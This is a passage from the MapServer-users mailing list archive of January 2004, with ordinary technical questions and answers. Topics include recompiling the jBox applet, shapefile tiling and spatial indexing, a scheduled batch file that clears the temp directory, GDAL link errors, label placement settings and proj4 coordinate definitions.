shL56DgovhW+zO/Pr1bpN49OT/3316MOrTAOdjMeKvFvhBP+LeAQSKCW7Qk3jxRQWU0YI/MN
ehj0SnN3Qvya3j3FBBADGo52oo46q/GyVoyRCDgQWjzk6ISMeXlyeBhXKyrYFKoeO38If/a/
FRzvwoLsT7hjdeg3G7UcL3jPcLXyTmrOVonKKGlEWSpe0JhEA1TjGx6nKtXzcNxafaH6pgih
DaSaQhKUxETITTJJYvxVRTi8LH5DPN75eMveoJPG0Ha1l3lkChX++OuvfEe/RObR16aWpNAL
LBdNToGRCH9kk1aC1PBQl+gZGYk+SHIS0SLCp+LQ4chvBBX7beFgSPiL71vc7bVLRKHNYExU
LJLXhKEwinqnpKOOoj6ZPgqHfQFYVIL43WEplfpw/BvQsE7XwtP42POB+pQjid8eDmx8rmf7
koirCyevhKDkVaXvxSDZ+KhYAZBKU68XTIKAcITI5spPeD6K0YI+jEI9GofVp86PdWIRDpgc
Pt6OEl95Iziw8WlMur64yMJa2xjxWzcU+NJGxtYTotuohlGfAwDhwqPaO7gTw4wxn/+k1d8Z
d7XqtwZOY5QiFk7Bf4M7ROLW3w4OD0n9/H4oiusvo30HRJKrHPUHFcsZ7RPV16rr1TaTCkqj
r+wmCD46JR2tjZG36feP7gwMcCsbDMdV1lO9HVnpjU/v8of+ot+dxynSyLHx/JV6aRRMmuYr
HY3YjYXtD+fFHog9Obp6TR+2Ujin+h81o0bPYKvBiJdl1X+TfO/vAA5sfA3tibsyKYXih3Vy
EYl1RPXVBuAngmKsmspTXX0CQWJn7t1kYZ5X5+CT7fjAL7AJVmQTAzRjcPzJvzUQccP5VP/7
jiBpKhuciLsr2DNKyr/K4JVZJWKIOu1/Cbw2JAURxUCR2s3IZ8JwWRVMpwrUo3Y0iuzUCZmU
gk1Y6SCf68Nh3hqE0YbzGr4uuPij0bGgUYLwHjbAk3JVMBMt5ygmfuQbL1u9p8ZY4ZSI3Kov
Vl+rw4QXOuENIJ6dwBpM5M9fuSDwrcX/2oYTbI7FDPd2+eutg8GPBKcErShOAxKEmEKlFVtZ
UsqImsDGJuC/OBprRE/RkAqk9eknKuNXEPz6Q7p/70bnXJ+KKdpJ44q3u9YGozfsKp0skgwh
PNSTKCYmKK85EWUJL+FRaKcjuyZ8jbIcpRWJcaV6o/1IYiS/N6oabTjDTT1Duwq+xtp3Ygs+
w19qmJjwsqjjnS9BVxWZ2XCDX0IjARZFM9FgxnSogUuj8rB/QqEu0o1q5WnP+l3fWuA/Y2NM
+qrfVHpBhqYWRVymMqNVUAmnKEpPmEejkLyvJJ3gpVRdHSIxJpucZdQIYys1NBpMG7/fWtQ/
dxP1OT3vu41PorUoY6lli4Dn66PWO8cIfl+t+/oVG2UaPmID01c20XQvcRs0weFdh9uEFWiK
NQO/hidxruN3F1b99MaiqsyODSCuxfZEIJBV/pGijGBAqXcIGmyczqbDJZFOtG9w3+fnuhXM
1llnEja86uCVJnm1+dXW9fzKW5SAEmqSecSYX2t0bb5KeD/h9NcsJOwTD6zk6uuBKoekvzcc
p7LqoAoRD6BxqP6ToiHba+yiuGOkjdE6KhPyjSCI1PkqQwj6a7QKaOaJryXv+NXwejWftwp1
5pHo5LNvLdR/cEuoSGtxuHKrBamif63qCjqr5aY/a5TUjKd+m6xr8adQqxMK8KQcmWAYIXpr
cf4ymwoVpeC2Z31FCsa/pNKUFExPGcoyPB8mxpQcVKeIjn0cOdmEoBJLtaNHjlLfWoy/6BZV
MYgfrpbvUqo1rctbSvomwBNMwXoRWa/u1mrvnEAVITEKG++2vOB9svSaIfPftxbgr7FFjbPX
X8VLHTOSMhknmDq+bz2hBQuJ0CoLilLVZug/qg8XM5BgDBEl/K7+VXjq9S1cNEniL4/yuLKa
v6yyB2P0vaRR+5XSh66Z1ihB6wdR9uqJ0ZtNsbNhdOFf1DLGm3O3X1b39/dj2QQJeqeiySmB
I6Jgo7BthCyylQl8lKDmn0fm4mWy0UD/W4DhN5FYe3z4i6Zt6zblTL1uKwdgxPfUobuAgsqE
pC/G2NYbngZbw3R9+fj49H3/pcpTv3xrAb3Jhquvbk53xz/HRsNK0aO9hJgp0H3ksOjEq/Aw
0XNvAyL/+stoRlXzeLh8/3j//Hj//eH57l6+8eGtxfLGG0nn2RwP90fVcFnHpErv48CxTTH6
kp98qfyDigFY4c2XuFP3vr27pVfrz0+Pz989P36+fHhar09Xq4fT6XS/N9XqrYXxu9kqc3q4
Pz0eH14wVpg/Da4ihkJfPd+dvj9dPp7K8vLhdFk+lPd0kMfj1//xpz/96e7h4f2+P9w87Pf7
25vj6fIvp/uHx4enp0fanlbf04On5fN69Vjub/58Kh/fWgS/x80+2eP3z4RKYiSpX0Hgdbx/
XF0+PJxWJxLqaVU+PD9dnujR5WP58PCXS/ycvru8f3g47u8P5f5Er96vjsf/709/ujz95fLy
u8tLAvB4vDv0u8PD4/qtL/t3v5V/Jn3+c+I1VOx6IqmXD4/EMafT4+UDif++PD6Up/JEAJ1W
j99druj3Iz0unx5Pl7Q9YHs8fUcfeSiPZC93d0SRd/f/Noq/bXt42N8ejuWn/vZT9Av117d3
+/1/7ffH45/ujg/Hy4f7h7uHS0KDHpyg/afvHk9P5f3T6XRJnmFFWJCBfPdwSWiQYdDe+0P5
1pf2z77th5uvP918fdPf3P/XHQn08HW7P97f3958fXs8vN+/fywvn8rLyyOET6/f3x/v8ag8
HheH4/F4uCvx+/jWl/Evuu2Hr9tPD8fD7XBz93B7PO4P74+3h/e3t3v6oe3uriRKIvnj11uf
7L+3f2//3n7R7f8HUr6TdA56l44AAAAASUVORK5CYII=
--------------060908050204090102060704--



From rich at greenwoodmap.com  Fri Jan 23 23:21:24 2004
From: rich at greenwoodmap.com (Richard Greenwood)
Date: Sat, 24 Jan 2004 07:21:24 +0000
Subject: [Mapserver-users] JBox - Getting started - Small problem
In-Reply-To: <002e01c3e264$61ad7330$6400a8c0@BLANKEN>
References: <000d01c3dd97$aa3de890$c8835fdb@clickntrac> <001a01c3ddcb$3431bbc0$6400a8c0@BLANKEN> <000801c3de18$5a0e8bf0$df3e5edb@clickntrac> <005d01c3dea6$04fddfb0$6400a8c0@BLANKEN> <000f01c3df60$64508980$073c5edb@steve> <001d01c3dfa0$8ed23c90$6400a8c0@BLANKEN> <002301c3e22f$07803990$8a385edb@steve> <002e01c3e264$61ad7330$6400a8c0@BLANKEN>
Message-ID: <40121CF4.9040909@greenwoodmap.com>

Wim Blanken (PI) wrote:

>Hello Steve,
>
>The Jbox applet that I use has as far as I know not the redraw parameter in
>it's function.
>If you look at the java sourcecode from the jbox you can download from the
>mapserver site you can check this.
>I see that the documentation still uses the redraw parameter, maybe Richard
>has an Answer to this question as I am not very good at java and the applet
>was modified by him to allow for linedrawing and real panning.
>
>Wim Blanken
>The Netherlands
>
>----- Original Message -----
>From: "Steve McCrone" 
>To: "Wim Blanken (PI)" 
>Sent: Saturday, January 24, 2004 5:03 AM
>Subject: Re: [Mapserver-users] JBox - Getting started - Small problem
>
>
>  
>
>>Hi again Wim,
>>
>>Well, as I mentined befoer, I did use your jBox and the zoom functioned
>>worked. However, I tried adding the following If statement to the
>>    
>>
>javascript
>  
>
>>function and the value of "redraw" is undefined -
>>
>>function setbox_handler(name, minx, miny, maxx, maxy, redraw) {
>>  document.mapserv.imgbox.value = minx + " " + miny + " " + maxx + " " +
>>maxy;
>>  document.mapserv.imgxy.value = minx + " " + miny;
>>  if (redraw) {
>>   document.mapserv.submit();
>>   }
>> alert(redraw) //redraw is undefined
>> }
>>
>>Therefore, I cannot update the map automatically - any ideas why?
>>
>>    
>>
You will never see redraw defined as you have it because it will submit 
ifd it is defined. First, move your slert before submit() to see if it 
is bing set, Second, force it true and see if you submit() works. If 
your form name is incorrect, it won't submit.

Rich

-- 
Richard Greenwood
www.greenwoodmap.com



From gimond at hotmail.com  Sat Jan 24 07:47:38 2004
From: gimond at hotmail.com (manuel gimond)
Date: Sat, 24 Jan 2004 10:47:38 -0500
Subject: [Mapserver-users] clip and calc area
Message-ID: 

Can the following be done in mapserver/mapscripts:

1) Clip a shapefile layer using a polygon generated by the user on the web 
interface?
2) Calculate the area for each polygon in the CLIPPED shapefile layer?

If so, could you give me pointers to accomplish this? Examples are welcomed.

Manny

_________________________________________________________________
There are now three new levels of MSN Hotmail Extra Storage!  Learn more. 
http://join.msn.com/?pgmarket=en-us&page=hotmail/es2&ST=1



From bpicinbono at worldonline.fr  Sat Jan 24 14:01:21 2004
From: bpicinbono at worldonline.fr (=?iso-8859-1?Q?bpicinbono@worldonline.fr?=)
Date: Sat, 24 Jan 2004 23:01:21 +0100
Subject: [Mapserver-users] =?iso-8859-1?Q?Re:_[Mapserver-users]_How_to_edit=3F?=
Message-ID: 

Hi, the list

 Juraj Cenek asked about editing shapes with MapServer :

> Hallo, I have one question about the mapserver, is it possible 
> to modify the maps online (for example every user can create his 
> own layer on the server, when he inputs the password, his layers 
> will appear). Is this possible? (for example user wants to create 
> own map of his trips among his country) I've seen applications, 
> that can input points, but no application, that can include line, 
> polygone......
> >Thanx, 
> > Ing. Juraj Cenek


This can be done easily with Php-MapScript. Although you can find
hundreds of MapServer demos that display datas, very few allow
you to digitize your own datas. Mine is there :
http://webmaps.ouvaton.org
You can delete, draw or edit shapes (move a point, move or
delete a vertex of a line or poly, add a new vertex . . .).
I can give you some help with the code, but you should read
the Php-MapScript doc and search this list with the
Php-MapScript editing functions names. You should find
everything you need.

bye
Blaise

********** PROTEGEZ VOS E-MAILS !********** 
Avec Tiscali SuperMail, vos e-mails en toute s?curit? ! 
Anti Spam personnalisable 
Anti Virus actualis? en permanence 
et de nombreux bonus... 
Pour en savoir plus, rendez-vous sur http://www.tiscali.fr/supermail/





From moccand at ensg.ign.fr  Sun Jan 25 00:54:26 2004
From: moccand at ensg.ign.fr (Guillaume MOCCAND)
Date: Sun, 25 Jan 2004 09:54:26 +0100 (CET)
Subject: [Mapserver-users] Empty TMP directory
Message-ID: <1075020866.40138442e5a12@dutilleux.ensg.ign.fr>

dear list,

does anyone can share a tool that empty the Mapserver "TMP" directory every 5 
or 10 minutes ?
i have Mapserver running on W2000.

thanks !

Guillaume


From bartvde at xs4all.nl  Sun Jan 25 03:48:18 2004
From: bartvde at xs4all.nl (Bart van den Eijnden)
Date: Sun, 25 Jan 2004 12:48:18 +0100
Subject: [Mapserver-users] Empty TMP directory
In-Reply-To: <1075020866.40138442e5a12@dutilleux.ensg.ign.fr>
References: <1075020866.40138442e5a12@dutilleux.ensg.ign.fr>
Message-ID: 

------------VYNXozOilJqvRa8VVKyFOt
Content-Type: text/plain; format=flowed; charset=iso-8859-15
Content-Transfer-Encoding: 8bit

Hi,

just create a simple batch file which does this and schedule it. I have 
attached a simple example, but probably you do not have the buttons 
directory.

Settings -> Control Panel -> Scheduled tasks

Best regards,
Bart

On Sun, 25 Jan 2004 09:54:26 +0100 (CET), Guillaume MOCCAND 
 wrote:

> dear list,
>
> does anyone can share a tool that empty the Mapserver "TMP" directory 
> every 5
> or 10 minutes ?
> i have Mapserver running on W2000.
>
> thanks !
>
> Guillaume
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>



-- 
  
------------VYNXozOilJqvRa8VVKyFOt
Content-Disposition: attachment; filename=cleanup.bat
Content-Type: application/x-msdos-program; name=cleanup.bat
Content-Transfer-Encoding: 8bit

cd c:\ms4w
rmdir /s /q tmp

mkdir c:\ms4w\tmp
mkdir c:\ms4w\tmp\ms_tmp
mkdir c:\ms4w\tmp\ms_tmp\buttons
------------VYNXozOilJqvRa8VVKyFOt--



From ms57 at streamyx.com  Sun Jan 25 03:50:34 2004
From: ms57 at streamyx.com (Steve McCrone)
Date: Sun, 25 Jan 2004 19:50:34 +0800
Subject: [Mapserver-users] jBox - recompile
Message-ID: <001e01c3e339$7177bf20$d1845fdb@steve>

This is a multi-part message in MIME format.

--Boundary_(ID_3KOGOJRiVfdBfTQbvpD/iw)
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT

According to Wim Blanken, the jBox available for donwload from the mapserver site must be re-compiled in order to run on Win2K.
Therefore, I wish to re-compile the source code for the jBox, but there are a bunch of source files missing - 
import java.applet.Applet;
import java.awt.*;
import java.awt.event.*;
import java.net.*;
import java.util.*;
import netscape.javascript.*;

I'm a novice with java so I'm looking for some help in order to re-compile the jBox code.

The jBox I'm working with gives an error when I try boxoff().

Thanks


--Boundary_(ID_3KOGOJRiVfdBfTQbvpD/iw)
Content-type: text/html; charset=iso-8859-1
Content-transfer-encoding: 7BIT









According to Wim Blanken, the jBox available for 
donwload from the mapserver site must be re-compiled in order to run on 
Win2K.


Therefore, I wish to re-compile the source code for 
the jBox, but there are a bunch of source files missing - 


import java.applet.Applet;
import 
java.awt.*;
import java.awt.event.*;
import java.net.*;
import 
java.util.*;
import netscape.javascript.*;


I'm a novice with java so I'm looking for some help 
in order to re-compile the jBox code.


 


The jBox I'm working with gives an error when I try 
boxoff().


 


Thanks


--Boundary_(ID_3KOGOJRiVfdBfTQbvpD/iw)--


From wim.blanken at planet.nl  Sun Jan 25 04:10:13 2004
From: wim.blanken at planet.nl (Wim Blanken PI)
Date: Sun, 25 Jan 2004 13:10:13 +0100
Subject: [Mapserver-users] Empty TMP directory
References: <1075020866.40138442e5a12@dutilleux.ensg.ign.fr>
Message-ID: <001801c3e33c$31369730$6400a8c0@BLANKEN>

Hello Guillaume,

See the following post for a utility

http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0105/msg00083.html

Regards,

Wim Blanken
Geon bv
The Netherlands

----- Original Message -----
From: "Guillaume MOCCAND" 
To: 
Sent: Sunday, January 25, 2004 9:54 AM
Subject: [Mapserver-users] Empty TMP directory


> dear list,
>
> does anyone can share a tool that empty the Mapserver "TMP" directory
every 5
> or 10 minutes ?
> i have Mapserver running on W2000.
>
> thanks !
>
> Guillaume
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From wim.blanken at planet.nl  Sun Jan 25 04:20:02 2004
From: wim.blanken at planet.nl (Wim Blanken PI)
Date: Sun, 25 Jan 2004 13:20:02 +0100
Subject: [Mapserver-users] jBox - recompile
References: <001e01c3e339$7177bf20$d1845fdb@steve>
Message-ID: <002501c3e33d$94aea6d0$6400a8c0@BLANKEN>

This is a multi-part message in MIME format.

--Boundary_(ID_k1Y38DrX9s9jr6mm0F0S2w)
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT

Hello Steve,

Make sure that you use the 
-classpath
Directive to let javac know where the libraries are.......
For example if you have the jdk installed in c:\sdk1.4\jdk\bin
and youve copied the contents of jbox.zip to c:\sdk1.4\jdk\bin\jbox

Use then the following command in c:\sdk1.4\jdk\bin\jbox

javac -classpath c:\sdk1.4\jdk\bin\jbox -target 1.1 c:\sdk1.4\jdk\bin\jbox\jBox.java

If you install the new jBox applet make sure that Internet Explorer's cache is emptied and
internet explorer is restarted as otherwise the former one will be used.

Sincerely,

Wim Blanken
Geon bv
The Netherlands
----- Original Message ----- 
  From: Steve McCrone 
  To: mapserver-users at lists.gis.umn.edu 
  Cc: rich at greenwoodmap.com 
  Sent: Sunday, January 25, 2004 12:50 PM
  Subject: [Mapserver-users] jBox - recompile


  According to Wim Blanken, the jBox available for donwload from the mapserver site must be re-compiled in order to run on Win2K.
  Therefore, I wish to re-compile the source code for the jBox, but there are a bunch of source files missing - 
  import java.applet.Applet;
  import java.awt.*;
  import java.awt.event.*;
  import java.net.*;
  import java.util.*;
  import netscape.javascript.*;

  I'm a novice with java so I'm looking for some help in order to re-compile the jBox code.

  The jBox I'm working with gives an error when I try boxoff().

  Thanks


--Boundary_(ID_k1Y38DrX9s9jr6mm0F0S2w)
Content-type: text/html; charset=iso-8859-1
Content-transfer-encoding: 7BIT









Hello Steve,


 


Make sure that you use the 


-classpath


Directive to let javac know where the libraries 
are.......


For example if you have the jdk installed in 
c:\sdk1.4\jdk\bin


and youve copied the contents of jbox.zip 
to c:\sdk1.4\jdk\bin\jbox


 


Use then the following command in 
c:\sdk1.4\jdk\bin\jbox


 


javac -classpath c:\sdk1.4\jdk\bin\jbox -target 1.1 
c:\sdk1.4\jdk\bin\jbox\jBox.java


 


If you install the new jBox applet make sure that 
Internet Explorer's cache is emptied and


internet explorer is restarted as otherwise the former one will be used.


 


Sincerely,


 


Wim Blanken


Geon bv


The Netherlands


----- Original Message ----- 



  
  
  
  
Sent: Sunday, January 25, 2004 12:50 
  PM

  
Subject: [Mapserver-users] jBox - 
  recompile

  


  
According to Wim Blanken, the jBox available for 
  donwload from the mapserver site must be re-compiled in order to run on 
  Win2K.

  
Therefore, I wish to re-compile the source code 
  for the jBox, but there are a bunch of source files missing - 

  
import java.applet.Applet;
import 
  java.awt.*;
import java.awt.event.*;
import java.net.*;
import 
  java.util.*;
import netscape.javascript.*;

  
I'm a novice with java so I'm looking for some 
  help in order to re-compile the jBox code.

  
 

  
The jBox I'm working with gives an error when I 
  try boxoff().

  
 

  
Thanks


--Boundary_(ID_k1Y38DrX9s9jr6mm0F0S2w)--


From bartvde at xs4all.nl  Sun Jan 25 04:50:15 2004
From: bartvde at xs4all.nl (Bart van den Eijnden)
Date: Sun, 25 Jan 2004 13:50:15 +0100
Subject: [Mapserver-users] speeding up large shapefiles
Message-ID: 

Hi list,

I saw a few posts from early 2003 about speeding up large shapefiles, but 
never found any conclusions on the subject.

I have a question with regard to speeding up large shapefiles:

would it make sense to split up my large (350 Mb) shapefile in tiles, and 
then use an OGR tileindex on the tiles (with quadtree indexes on both 
tileindex and tiles)? If so, can anything be said about an ideal tile size 
in Mb, or is this too much dependent on the data?

Ofcourse this will also be dependent on the area I am displaying with my 
shapefile, and the maximum area a user can get displayed (by using the 
MINSCALE/MAXSCALE settings in my MAP file).

Thanks in advance for any input on this.

Best regards,
Bart


From woodbri at swoodbridge.com  Sun Jan 25 05:34:43 2004
From: woodbri at swoodbridge.com (woodbri at swoodbridge.com)
Date: Sun, 25 Jan 2004 08:34:43 -0500
Subject: [Mapserver-users] speeding up large shapefiles
In-Reply-To: 
Message-ID: <40137FA3.27181.27110B36@localhost>

Bart,

This would definitely help. There is an OpenSource utility to assist 
in the tiling at http://imaptools.com/?tab=4 called shp2tile it has a 
lot of options to help tile the shpfile using different algorithms.

If you tile the results into a directory like tiledir then you can 
run on linux:

find tiledir -name "*.shp" -exec shptree {} \;
find tiledir -name "*.shp" > tiledir.in
tile4ms tiledir.in tiledir-tile
shptree tiledir-tile

To create spatial indexes and to create the tile index.

As far as size of each tile, you are correct that there are a lot of 
variables involved. Because of the file system cache that most modern 
OSs have, you do not want to make the files too small as it will cost 
you more to open/close a lot of files than it will cost you to read 
some extra data into the file system cache.

Also, if you have LOTS of attributes in your dbf file that you do not 
need for rendering then you might want to think about thinning these 
down to what you do need so you have to do less disk IO to read your 
attributes when rendering your maps.

-Steve Woodbridge

On 25 Jan 2004 at 13:50, Bart van den Eijnden wrote:

> Hi list,
> 
> I saw a few posts from early 2003 about speeding up large shapefiles, but 
> never found any conclusions on the subject.
> 
> I have a question with regard to speeding up large shapefiles:
> 
> would it make sense to split up my large (350 Mb) shapefile in tiles, and 
> then use an OGR tileindex on the tiles (with quadtree indexes on both 
> tileindex and tiles)? If so, can anything be said about an ideal tile size 
> in Mb, or is this too much dependent on the data?
> 
> Ofcourse this will also be dependent on the area I am displaying with my 
> shapefile, and the maximum area a user can get displayed (by using the 
> MINSCALE/MAXSCALE settings in my MAP file).
> 
> Thanks in advance for any input on this.
> 
> Best regards,
> Bart
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 




From bartvde at xs4all.nl  Sun Jan 25 05:56:44 2004
From: bartvde at xs4all.nl (Bart van den Eijnden)
Date: Sun, 25 Jan 2004 14:56:44 +0100
Subject: [Mapserver-users] speeding up large shapefiles
In-Reply-To: <40137FA3.27181.27110B36@localhost>
References: <40137FA3.27181.27110B36@localhost>
Message-ID: 

Hi Steve,

thanks for your answer. I did not want to spend a lot of time on tiling if 
it would not make any sense. I once did this with ECW files without much 
performance gain.

How can I get shp2tile to work on Windows? Any binaries/source code 
available somewhere?

BTW what is the difference in using tile4ms and using ogrtindex?

Best regards,
Bart

On Sun, 25 Jan 2004 08:34:43 -0500,  wrote:

> Bart,
>
> This would definitely help. There is an OpenSource utility to assist
> in the tiling at http://imaptools.com/?tab=4 called shp2tile it has a
> lot of options to help tile the shpfile using different algorithms.
>
> If you tile the results into a directory like tiledir then you can
> run on linux:
>
> find tiledir -name "*.shp" -exec shptree {} \;
> find tiledir -name "*.shp" > tiledir.in
> tile4ms tiledir.in tiledir-tile
> shptree tiledir-tile
>
> To create spatial indexes and to create the tile index.
>
> As far as size of each tile, you are correct that there are a lot of
> variables involved. Because of the file system cache that most modern
> OSs have, you do not want to make the files too small as it will cost
> you more to open/close a lot of files than it will cost you to read
> some extra data into the file system cache.
>
> Also, if you have LOTS of attributes in your dbf file that you do not
> need for rendering then you might want to think about thinning these
> down to what you do need so you have to do less disk IO to read your
> attributes when rendering your maps.
>
> -Steve Woodbridge
>
> On 25 Jan 2004 at 13:50, Bart van den Eijnden wrote:
>
>> Hi list,
>>
>> I saw a few posts from early 2003 about speeding up large shapefiles, 
>> but
>> never found any conclusions on the subject.
>>
>> I have a question with regard to speeding up large shapefiles:
>>
>> would it make sense to split up my large (350 Mb) shapefile in tiles, 
>> and
>> then use an OGR tileindex on the tiles (with quadtree indexes on both
>> tileindex and tiles)? If so, can anything be said about an ideal tile 
>> size
>> in Mb, or is this too much dependent on the data?
>>
>> Ofcourse this will also be dependent on the area I am displaying with my
>> shapefile, and the maximum area a user can get displayed (by using the
>> MINSCALE/MAXSCALE settings in my MAP file).
>>
>> Thanks in advance for any input on this.
>>
>> Best regards,
>> Bart
>> _______________________________________________
>> Mapserver-users mailing list
>> Mapserver-users at lists.gis.umn.edu
>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>
>
>



-- 
  


From rich at greenwoodmap.com  Sat Jan 24 23:51:00 2004
From: rich at greenwoodmap.com (Richard Greenwood)
Date: Sun, 25 Jan 2004 07:51:00 +0000
Subject: [Mapserver-users] Re: jBox - recompile
In-Reply-To: <001e01c3e339$7177bf20$d1845fdb@steve>
References: <001e01c3e339$7177bf20$d1845fdb@steve>
Message-ID: <40137564.8070505@greenwoodmap.com>

Steve McCrone wrote:

> According to Wim Blanken, the jBox available for donwload from the 
> mapserver site must be re-compiled in order to run on Win2K.

I just rebuilt jBox and put new classes at: 
http://www.greenwoodmap.com/mapserver/jBox/jBox.zip
It contains only the jBox classes (see below). I built the version that 
is distributed on the mapserver site. Apparently when I built it I used 
jdk 1.4 instead of jdk 1.3 Sorry for the mistake, and sorry to take so 
long figuring it out.

> Therefore, I wish to re-compile the source code for the jBox, but 
> there are a bunch of source files missing -
> import java.applet.Applet;
> import java.awt.*;
> import java.awt.event.*;
> import java.net.*;
> import java.util.*;
> import netscape.javascript.*;
> I'm a novice with java so I'm looking for some help in order to 
> re-compile the jBox code.

Theses are all included in the netscape.zip file which is part of the 
distribution zip file on the mapserver site. These are the LiveConnect 
classes.

Rich

-- 
Richard Greenwood
www.greenwoodmap.com



From scoota at supanet.com  Sun Jan 25 13:50:29 2004
From: scoota at supanet.com (Keith Campbell)
Date: Sun, 25 Jan 2004 21:50:29 +0000
Subject: [Mapserver-users] Compilation problems
Message-ID: <40143A25.5060807@supanet.com>

Hi All,

After getting the configure to complete successfully, I've now got 
problems compiling. When 'make' is entered, a whole screed of 
information is output, similar to the following...

gcc -c -O2  -Wall -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ 
-DUSE_PROJ_API_H
-DUSE_WMS_SVR  -DUSE_WFS_SVR      -DUSE_GD_PNG -DUSE_GD_WBMP 
-DUSE_GD_FT   -DUSE
_OGR -DUSE_GDAL -DUSE_POSTGIS    -I/export/home/local/util/gd-2.0.15  
-I/export/
home/local/util/proj/src       
-I/export/home/local/util/gdal/ogr/ogrsf_frmts -I
/export/home/local/util/gdal/ogr 
-I/export/home/local/util/gdal/ogr/../port  -I/
export/home/local/include     maptemplate.c -o maptemplate.o
cc1: warning: changing search order for system directory 
"/export/home/local/inc
lude"
cc1: warning:   as it has already been specified as a non-system directory

... repeated many times with slight variation until a section appears 
listing 'undefined symbol' and the 'first referenced in file' location. 
The symbols include the likes of  'GDALSetRasterColorTable'. The process 
trips up at 'GDALGetColorEntryCount' in file './libmap.a(mapdrawgdal.o)' 
with the message:-

ld: fatal: Symbol referencing errors. No output written to shp2img
collect2: ld returned 1 exit status
make: *** [shp2img] Error 1

Any ideas what the cause of this is and what the solution may be? I know 
the directories are non-standard, but that's not of my doing and 
presumbly is allowable.

Any help is much appreciated.

Regards,

Keith



From woodbri at swoodbridge.com  Sun Jan 25 15:07:01 2004
From: woodbri at swoodbridge.com (woodbri at swoodbridge.com)
Date: Sun, 25 Jan 2004 18:07:01 -0500
Subject: [Mapserver-users] Re: [Mapserver-dev] labels generated upside down
In-Reply-To: <40056C3C.6484.F0295ADE@localhost>
Message-ID: <401405C5.16993.291C11ED@localhost>

So, I take it no one else has seen this problem.

I could NOT find anything in bugzilla.

And I have not been able to narrow down an example that is small 
enough to submit to bugzilla because removing data changes the 
labelling enough to cause the problem labels to shift around and 
removes the problem but it is easily reproduced on our servers .... 

-Steve

On 14 Jan 2004 at 16:20, woodbri at swoodbridge.com wrote:

> Hi all,
> 
> Labelling streets I get occasional labels the are placed upside down. 
> Using ANGLE AUTO
> 
> This happens with two different builds using similar but slightly 
> different versions of libraries. Is this a know bug? I could find it 
> in bugzilla.
> 
> Linux build
> MS 4.0
> later/latest copies of GD 2
> later/latest copies of freetype
> GDAL, proj, etc
> 
> 
> -Steve W.
> _______________________________________________
> Mapserver-dev mailing list
> Mapserver-dev at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-dev
> 




From mhaines94108 at hotmail.com  Sun Jan 25 18:15:31 2004
From: mhaines94108 at hotmail.com (Matthew Haines)
Date: Sun, 25 Jan 2004 21:15:31 -0500
Subject: [Mapserver-users] Label mindistance not working for me
Message-ID: 

I'm having trouble with label mindistance.  I have set it, but my labels 
still collide.  What exactly is the equality comparison used?  Is it a text 
comparison of the label names?  My data file has a different line segment 
for each block on the street.  If the map is zoomed to show eight blocks, I 
get eight labels.  A few extra labels is okay, but not when they are all on 
top of each other.

Adding or removing BUFFER, MINDISTANCE, and MINFEATURESIZE all don't seem to 
change the output map, which has identical labels stacked to the point of 
illegibility.

Matthew

LAYER
	NAME "bk_streets"
	CONNECTIONTYPE OGR
	CONNECTION "data/streets/lion03C/bklion.tab"
	MAXSCALE 6000
	STATUS DEFAULT
	FORCE TRUE
	TYPE LINE
	LABELITEM 'Street'
	LABELCACHE ON
	POSTLABELCACHE TRUE
	CLASS
		COLOR 255 255 255
		LABEL
			ANGLE AUTO
			COLOR 31 231 31
			BUFFER 100
			FORCE FALSE
			MINFEATURESIZE AUTO
			SIZE 12
			TYPE TRUETYPE
			FONT arial
			MINDISTANCE 50
		END
	END
END

_________________________________________________________________
Rethink your business approach for the new year with the helpful tips here. 
http://special.msn.com/bcentral/prep04.armx



From Martin.Kiuru at Elion.ee  Sun Jan 25 23:08:15 2004
From: Martin.Kiuru at Elion.ee (Martin Kiuru)
Date: Mon, 26 Jan 2004 09:08:15 +0200
Subject: [Mapserver-users] PRJ 4
Message-ID: <1D6EE6E7F017B2479C94CAC3903E5DE1A04BB1@KIRJATUVI.cc.et.ee>

This is a multi-part message in MIME format.

------_=_NextPart_001_01C3E3DB.2B3F4065
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Hello
=20
I have a proj4 related problem. There are two coordinate systems and
coordinates of the object for both of them (object is the same). So, I
tried to get geographical coordinates from those two systems in order to
test them. Here is the first system :
=20
proj.exe -I +proj=3Dlcc +lat_1=3D59.33333333333334 +lat_2=3D58
+lat_0=3D57.51755393055556 +lon_0=3D24 +x_0=3D500000 +y_0=3D6375000 =
+ellps=3DGRS80
+towgs84=3D0.055,-0.541,-0.185,-0.0183,0.0003,-0.007,-0.014 +units=3Dm
545875.083 6597313.668
24d48'36.695"E  59d30'39.485"N

Geographical coordinates seems to be OK, so it works fine.
=20
Here is the second system :
proj.exe -I +proj=3Dtmerc +lat_0=3D0 +lon_0=3D24 +k=3D1.0 =
+x_0=3D-6536000
+y_0=3D24000 +ellps=3Dkrass
70000.080 63999.920
74d38'34.823"E  0d13'55.623"N
=20
Geographical coordinates are not correct, but I'am sure about
coordinates, so something is wrong in coordinate system definition and
it's parameters. Some good advices ?
=20
Best Regards,
Martin Kiuru.

------_=_NextPart_001_01C3E3DB.2B3F4065
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable




Sõnum




Hello


 


I have =
a proj4=20
related problem. There are two coordinate systems and coordinates=20
of the object for both of them (object is the same). =
So, I tried=20
to get geographical coordinates from those two systems in order to test =
them.=20
Here is the first system :


 


proj.exe -I +proj=3Dlcc =
+lat_1=3D59.33333333333334 +lat_2=3D58 =
+lat_0=3D57.51755393055556 +lon_0=3D24=20
+x_0=3D500000 +y_0=3D6375000 =
+ellps=3DGRS80=20
+towgs84=3D0.055,-0.541,-0.185,-0.0183,0.0003,-0.007,-0.014 =
+units=3Dm
545875.083=20
6597313.668
24d48'36.695"E  59d30'39.485"N


Geographical=20
coordinates seems to be OK, so it works fine.


 


Here is the=20
second system :


proj.exe -I +proj=3Dtmerc +lat_0=3D0 =
